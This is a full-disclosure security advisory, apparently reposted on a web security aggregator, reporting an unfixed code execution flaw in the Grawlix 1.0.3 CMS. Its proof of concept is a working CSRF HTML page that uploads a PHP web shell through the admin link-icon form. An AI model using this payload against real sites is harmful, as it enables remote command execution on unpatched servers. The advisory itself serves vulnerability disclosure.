HackDig : Dig high-quality web security articles for hackers

Grawlix 1.0.3: Code Execution

2015-12-23 14:45
Security Advisory - Curesec Research Team

1. Introduction

Affected Product: Grawlix 1.0.3
Fixed in: not fixed
Fixed Version Link: n/a
Vendor Website: http://www.getgrawlix.com/
Vulnerability Type: Code Execution
Remote Exploitable: Yes
Reported to vendor: 11/17/2015
Disclosed to public: 12/21/2015
Release mode: Full Disclosure
CVE: n/a
Credits Tim Coen of Curesec GmbH

2. Overview

CVSS

High 9.0 AV:N/AC:L/Au:S/C:C/I:C/A:C

Description

Grawlix is a CMS for publishing comics, which is written in PHP.

When uploading an image icon for a link, neither the file type nor the file
extension are checked, leading to code execution.

It should be noted that admin credentials are required to upload an icon, and
that because of a bug when uploading icons, the upload only works if Grawlix is
installed in the root directory.

3. Proof of Concept


<html>
<body>
<script>
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://localhost/_admin/site.link-list.php";, true);
xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
xhr.setRequestHeader("Content-Type", "multipart/form-data;
boundary=---------------------------172718417319970434061213874184");
xhr.withCredentials = true;
var body = "-----------------------------172718417319970434061213874184rn" +
"Content-Disposition: form-data; name="input[title]"rn" +
"rn" +
"Site namern" +
"-----------------------------172718417319970434061213874184rn" +
"Content-Disposition: form-data; name="input[url]"rn" +
"rn" +
"http://google.comrn"; +
"-----------------------------172718417319970434061213874184rn" +
"Content-Disposition: form-data; name="icon_file"; filename="test.php"rn" +
"Content-Type: application/x-phprn" +
"rn" +
"x3c?php n" +
"passthru($_GET['x']);n" +
"rn" +
"-----------------------------172718417319970434061213874184rn" +
"Content-Disposition: form-data; name="submit"rn" +
"rn" +
"savern" +
"-----------------------------172718417319970434061213874184--rn";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
}
</script>
<form action="#">
<input type="button" value="Submit request" onclick="submitRequest();" />
</form>
</body>
</html>

4. Solution

This issue was not fixed by the vendor.

5. Report Timeline

11/17/2015 Informed Vendor about Issue (no reply)
12/10/2015 Reminded Vendor of Disclosure Date (no reply)
12/21/2015 Disclosed to public


Blog Reference:
https://blog.curesec.com/article/blog/Grawlix-103-Code-Execution-127.html

--
blog: https://blog.curesec.com
tweet: https://twitter.com/curesec

Curesec GmbH
Curesec Research Team
Romain-Rolland-Str 14-24
13089 Berlin, Germany

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/


Source: 901/ceD/5102/erusolcsidlluf/gro.stsilces

Read:3649 | Comments:0 | Tags:No Tag

“Grawlix 1.0.3: Code Execution”0 Comments

Submit A Comment

Name:

Email:

Blog :

Verification Code:

Announce

Share high-quality web security related articles with you:)

Tools